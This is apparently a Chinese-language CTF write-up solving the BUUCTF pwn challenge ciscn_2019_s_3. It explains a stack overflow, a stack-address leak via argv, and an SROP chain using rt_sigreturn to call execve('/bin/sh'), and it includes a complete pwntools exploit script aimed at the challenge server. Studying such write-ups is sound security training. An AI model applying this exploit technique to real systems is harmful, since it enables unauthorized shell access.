BUUCTF pwn ciscn_2019_s_3(SROP)

0x01 文件分析

在這裏插入圖片描述

0x02 運行

在這裏插入圖片描述
 有一個回顯,並且還有多餘的字符顯示,接着看代碼分析一下。

0x03 IDA源碼

在這裏插入圖片描述
在這裏插入圖片描述
 由後面的函數可以看出,這個程序使用的系統調用,並且vuln裏面存在棧溢出。

在這裏插入圖片描述

 在程序之中的gadgets存在着兩個爲rax賦值的gadget,15的系統號是rt_sigreturn,3b的系統調用是execve,利用這兩個可以執行系統調用得到shell。
 execve的系統調用可以參照vuln中的調用找gadget實現,這裏採用SROP方式,利用15號系統調用。

0x04 解題思路

 pwntools中有一個函數SigreturnFrame()可以便捷構造frame框架,再泄露出棧的地址,傳入字符串,拿到shell。
 棧的地址可以通過main函數的參數argv[0]得到,棧的地址拿到後,還需要知道棧的偏移量,棧的偏移量可以通過gdb調試得到。
在這裏插入圖片描述
 程序剛開始時的RSI保存的便是棧的地址,再通過程序之中的read系統調用傳入參數,得到的地址就是偏移後的地址。
在這裏插入圖片描述
 0x7fffffffe098 - 0x7fffffffdf80 = 0x118(棧的偏移量,用於找到傳入的’/bin/sh’位置)。

0x05 exp

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

#p = process('./ciscn_s_3')
p = remote('node3.buuoj.cn',29246)
sigreturn = 0x4004DA
read_write = 0x4004F1
system_call = 0x400517

payload = '/bin/sh\x00' + 'a'*0x8 + p64(read_write) 
p.send(payload)
p.recv(32)
sh_addr = u64(p.recv(8)) - 0x118

p.recv(8)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh_addr
frame.rsi = 0
frame.rdx = 0
#frame.rsp = sh_addr-0x118 
frame.rip = system_call



payload = 'a'*0x10+p64(sigreturn)+p64(system_call)+str(frame)
p.send(payload)
log.success('stack_addr: ' + hex(sh_addr+0x118))
p.interactive()

一個簡單的網絡安全公衆號,歡迎各位朋友們關注!

在這裏插入圖片描述

發佈了33 篇原創文章 · 獲贊 13 · 訪問量 6628
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章